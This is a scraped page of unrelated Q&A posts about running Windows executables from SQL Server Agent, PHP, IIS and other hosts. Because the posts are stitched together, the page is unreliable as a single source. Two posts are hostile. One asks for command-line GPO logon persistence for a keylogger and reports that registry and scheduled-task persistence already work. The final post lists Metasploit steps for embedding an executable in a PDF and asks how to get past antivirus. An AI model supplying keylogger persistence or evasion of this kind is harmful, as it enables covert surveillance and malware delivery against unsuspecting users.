powershell – SQL Server Agent not executing part of Python script where it runs a third party exe file

I am trying to run a python script from a powershell script inside SQL Server Agent.

I was able to execute most job of a python script (Task1-Task2) except the last portion (Task3) where it runs a third party exe file called SQBConverter (from RedGate) which converts files from SQB format to BAK format.

When I manually run powershell script directly which runs python script, there is no issue.

I modified the “Log On As” from default (“Local System”) to my own (JDoh), and it executes the powershell within SQL Server Agent, but it only does the job except where it converts files from SQB to BAK format (Task3).

Without changing to my own (JDoh), it would not even executes the any job of python script.

enter image description here

enter image description here

I don’t think there is any issue with powershell script side because it still triggers python script when I changed the “Log On As” to “Local System”. It does not show error, but it shows as SQL Server Agent job completed. But, it does not run any tasks within python script at all.

So, I am guessing it might be something to do with SQL Server Agent not able to trigger/run the SQBConverter exe file.

Here is whole python code (ConvertToBAK.py) to give you the whole idea of logic. It does everything until where it converts from SQB to BAK (Task3: last two lines).

import os
from os import path
import datetime
from datetime import timedelta
import glob
import shutil
import re
import time, sys

today = datetime.date.today()
yesterday = today - timedelta(days = 1)
yesterday = str(yesterday)

nonhyphen_yesterday = yesterday.replace('-','')
revised_yesterday = "LOG_us_xxxx_multi_replica_" + nonhyphen_yesterday 

src = "Z:\TestPCC\FTP"
dst = "Z:\TestPCC\Yesterday"
password = "Password"
path = "Z:\TestPCC\FTP"
now = time.time()

### Task1:  To delete old files (5 days or older)
for f in os.listdir(path):
  f = os.path.join(path, f)
  if os.stat(f).st_mtime < now - 5 * 86400:
    if os.path.isfile(f):
      os.remove(os.path.join(path, f))

filelist = glob.glob(os.path.join(dst, "*"))
for f in filelist:
    os.remove(f)

### Task2: To move all files from one folder to other folder location
src_files = os.listdir(src)
src_files1 = (g for g in os.listdir(src) if re.match(revised_yesterday, g))

for file_name in src_files1:
    full_file_name = os.path.join(src, file_name)
    if os.path.isfile(full_file_name):
        shutil.copy(full_file_name, dst)   

### Task3: Convert from SQB format to BAK format (running SQBConverter.exe)     
for f in glob.glob(r'Z:\TestPCC\Yesterday\*.SQB'):  
    os.system( f'SQBConverter "{f}" "{f(:-4)}.bak" {password}' )

This is powershell code (Test.ps1):

$path = 'Z:TestPCC'
$file = 'ConvertToBAK.py'

$cmd = $path+"\"+$file  # This line of code will create the concatenate the path and file
Start-Process $cmd  # This line will execute the cmd 

This is screenshot of SQL Server Agent’s step:

enter image description here

I looked at the properties of SQBConverter exe file itself, and I granted FULL control for all users listed.

php7 – ¿Cómo ejecutar un .exe desde php?

Para ponerlos en contexto:

Quiero automatizar el cambio de componentes en delphi, para ello uso convert.exe (un ejecutable de líneas de comandos que convierte los .DFM en ficheros de texto), luego refind.exe (un ejecutable de líneas de comando basado en expresiones regulares que reemplaza los componentes de forma masiva), todo esto que se haga automáticamente, simplemente indicando el path del proyecto y los nombres de los componentes que se desean sustituir.

Como debería funcionar:

  1. Un script PHP que copie el fichero “convert.exe” a la ruta del proyecto y lo ejecute en el cmd.
  2. Luego que copie “refind.exe” a la ruta del proyecto y ejecute en el cmd (y las expresiones regulares las generaré en base a ciertas variables, pero esto no tiene importancia.

Problema:
He tenido problemas al intentar codificar el punto 1. He intentado ejecutar shell_exec y exec y ninguno me ha funcionado, me da la sensación que no puedo acceder correctamente a la ruta del proyecto, como si el comando se está ejecutando en otro directorio y, por ende, no se encuentran los .DFM.
Hice un echo del comando que genera mi script y si copio este comando y lo ejecuto manualmente en el CMD, funciona a la perfección, pero si intento que lo haga el script me dice que no ha encontrando ningún fichero .DFM.

Comando generado: "C:UsersuserDesktopChequeando convertmiProyectocodigoconvert.exe" -t -i *.dfm

Ya que, lo anterior no funcionó, intenté con 3 comandos (o sea, ejecuté 3 veces shell_exec / exec)

  1. cd “C:UsersuserDesktopChequeando convertmiProyectocodigo”
  2. dir
  3. convert.exe -t -i *.dfm

Pero el resultado es el mismo: Delphi Form Conversion Utility Version 5.0 Copyright (c) 1995,99 Inprise Corporation No files found matching *.dfm

¿Cómo puedo hacer?

visual c++ – Could .exe build with v141_xp but linking the libraries build with “v141 toolset” support “windows XP”?

Our team is trying to make our project support XP.
We are using visual studio 2017 to build the result executable.
However, VCPKG don’t support XP now. So we try to build the related packages (e.g. yara, spdlog…) manually.

During the “try and error” process, we found a weird thing. When we build out project with “v141_xp toolset”, and linking the libraries build with “v141 toolset”(which SDK don’t support XP).
The outcoming executable binary work well in Windows XP.

  • Example:
    1. We build spdlog static library with “v141 toolset”, compile with “/MT”, it generated spdlog.lib.
    2. Then we compiled the code below with “v141_xp toolset”, linking with spdlog.lib (v141). It generated “example.exe”

#include <iostream>
#include <spdlog/spdlog.h>

int main()
{
    spdlog::info("spd go");
    std::cout << "Hello World!n";
}

Then run “example.exe” in windows XP, it works without any error window popup.

This is an just easy example to help me explain the situation easier. In fact we have tried all the example codes related to the packages, with the same method.
It seems that we need not to rebuild packages with “v141_xp” again.

Here are my questions:

  • Is it really safe? Will it cause some potential problems?
  • What is the difference between “v141” and “v141_xp”? From our experiment, it look like the only difference is

    The .exe build with v141_xp can’t run in XP, but .lib is no problem.”

This weird behavior confuse me a lot. Thank you very much!

How to compile text file to exe file with G++


Your privacy


By clicking “Accept all cookies”, you agree Stack Exchange can store cookies on your device and disclose information in accordance with our Cookie Policy.




windows – Running .exe programs from client computer NTFS share is very slow

I have a friend’s Azure Vm that we set up and we are trying to run a program from the server through an NTFS share folder mapped to the client side PC. When the program is installed on the local server it runs phenomenally, but loaded to the AzureVM and the correct Port mappings in place, the program has a number of latency. Any ideas on why this could be? He would like to be able to run this program anywhere with out setting up VPN or having to use RDP. I am stuck, even with 2 cores, 8 GB ram and a 25g GB premium ssd in the cloud, this sucks. Any help would be appreciated as I would like to see cloud computing move in a direction to eventually assist in replacing the need for on premise hardware and bare metal.

c# – Como ejecutar un exe desde un web api?

Tuve que realizar un api para poder conectarme a Adminpaq, en mi local funciona perfecta inserta todo tipo de documentos y se reflejan pero al querer ejecutarlo en IIS este simplemente no ejecuta el .exe, se queda ahi hasta tiempo indefinido

Este es el codigo con el que lo ejecuto

 public string() UltimoRegistro()
        {
            string() response = new string() { };
            var list1 = response.ToList();
            var currentDirectory = HttpContext.Current.Request.MapPath("~");
            currentDirectory = currentDirectory + @"foxaddcontaq.exe";
            ProcessStartInfo info = new ProcessStartInfo(currentDirectory);
            info.UseShellExecute = false;
            //var segureString = ConvertSegure("S3guridadsiete");
            //info.Password = segureString;
            //info.UserName = "Admin7";
            //info.FileName = "addcontaq.exe";
            //info.WorkingDirectory = @"C:sieteadmin";
            //info.Domain = "TSIETE.LOCAL";
            //info.WorkingDirectory = HttpContext.Current.Request.MapPath("~");
            try
            {
                var process = Process.Start(info);
                oLog.Add(process.ToString());
                oLog.Add("entro a ejecutar el proceso");

                process.WaitForExit();
                oLog.Add("termino el proceso");
                process.Close();

            }
            catch (Exception ex)
            {
                oLog.Add(ex.Message);
                list1.Add(ex.Message.ToString() + "process vfp");
                response = list1.ToArray();
                return response;
            }

            string cnn = ConfigurationManager.ConnectionStrings("siete").ConnectionString;
            using (SqlConnection conexion = new SqlConnection(cnn))
            {
                try
                {
                    conexion.Open();
                    string query = "SELECT * FROM lastrow";
                    try
                    {
                        using (SqlCommand cmd = new SqlCommand(query, conexion))
                        {
                            cmd.CommandType = CommandType.Text;
                            using (SqlDataReader rd = cmd.ExecuteReader())
                            {
                                if (rd.Read())
                                {
                                    oLog.Add("ultimo registro " + rd(0) + " ultimo movimiento " + rd(1));
                                    list1.Add(rd(0).ToString());
                                    list1.Add(rd(1).ToString());
                                    response = list1.ToArray();
                                    //response(0) = rd(0).ToString();
                                    //response(1) = rd(1).ToString();
                                }
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        oLog.Add(ex.Message);
                        list1.Add(ex.Message.ToString() + "query to last record");
                        response = list1.ToArray();
                        return response;
                    }

                }
                catch (Exception ex)
                {
                    oLog.Add(ex.Message);
                    list1.Add(ex.Message.ToString() + "open connection");
                    response = list1.ToArray();
                    return response;
                }
            }
            oLog.Add("respuesta de la consulta " + response(0) + "respuesta 2 " + response(1));

            return response;
        }

ya instale las dependencias de vfp en el servidor
ya intente instalar la libreria a mano en el servidor

pero el momento de ejecutarlo no hace nada, solo crea en el proceso

3/30/2021 12:02:09 PM – System.Diagnostics.Process (addcontaq)
3/30/2021 12:02:09 PM – entro a ejecutar el proceso

ese es el log que genero.
alguna ayuda seria buena idea

c# – CefSharp Project exe dont open

If I use anything with CefSharp in my WPF application, be it “<cefSharp: ChromiumWebBrowser />” in the XAML file or “ChromiumWebBrowser browser = new ChromiumWebBrowser ();” or “Cef.Initialize (new CefSettings ());” in the .cs file, I can no longer open the exe in the /obj folder.
The exe in the /bin folder, which is the same, the Visual Studio opens but runs without problems.

I use Visual Studio 2019 (Community).

Via Nuget I installed CefSharp.Common, CefSharp.Wpf, cef.redist.x64 and cef.redist.x84.
This error occurs with x64, x86, or Any CPU. (For Any CPU I have changed corresponding files (as in: https://ourcodeworld.com/articles/read/173/how-to-use-cefsharp-chromium-embedded-framework-csharp-in-a-winforms-application))

windows – How to run exe upon logon with GPO (Commandline)

I am working on this keylogger project of mine. I have successfully implemented registry, scheduled tasks persistence but am stuck with GPO logon persistence. All online resources i saw are providing info on adding GPO in GUI. I need the command that can be run to register the EXE file in GPO logon. I located the feature i need in the GUI version of Group Policy Editor.
Local GP Editor - Run programs at logon

Can someone point me in the right direction on achieving my goal with commandline? Thanks.

After update launcher changes name of .exe to _old

Hi guys,

Is there anyway of avoiding the name change in the executable after an update? It looks like the name changes to: Search_Engine_Ranker_old.exe .

Thanks in advance

metasploit – PAtched.Gen2 model detected on a pdf with exe embedded

I’m trying, following some tutorials on the net, to embed an exe inside a pdf file, using metaxploit.
The problem is that, upon opening it, on the victim system, the antivirus detects the “TR / PAtched.Gen2” model and moves it to quarantine. Considering that the payload is a simple “Hello World”, and therefore it is not relevant at the level of criticality of the code, do I have to deduce that this type of “attack” is no longer feasible?
Alternatively, could you indicate me some tutorials where it is explained how to bypass the AV?

these are the steps I performed to create the file:

msfconsole
search type:exploit platform:windows adobe pdf
use exploit/windows/fileformat/adobe_pdf_embedded_exe
set payload generic/custom
set payloadfile /home/kali/Desktop/payload custom/hello/out
set FILENAME out.pdf
exploit
mv /root/.msf4/local/out.pdf /home/kali/Desktop/export.pdf
chmod +x export.pdf
chmod +w export.pdf
chmod +r export.pdf

this is the contents of the executable:

#include <stdio.h>
int main(){
    printf("this is my payload");
}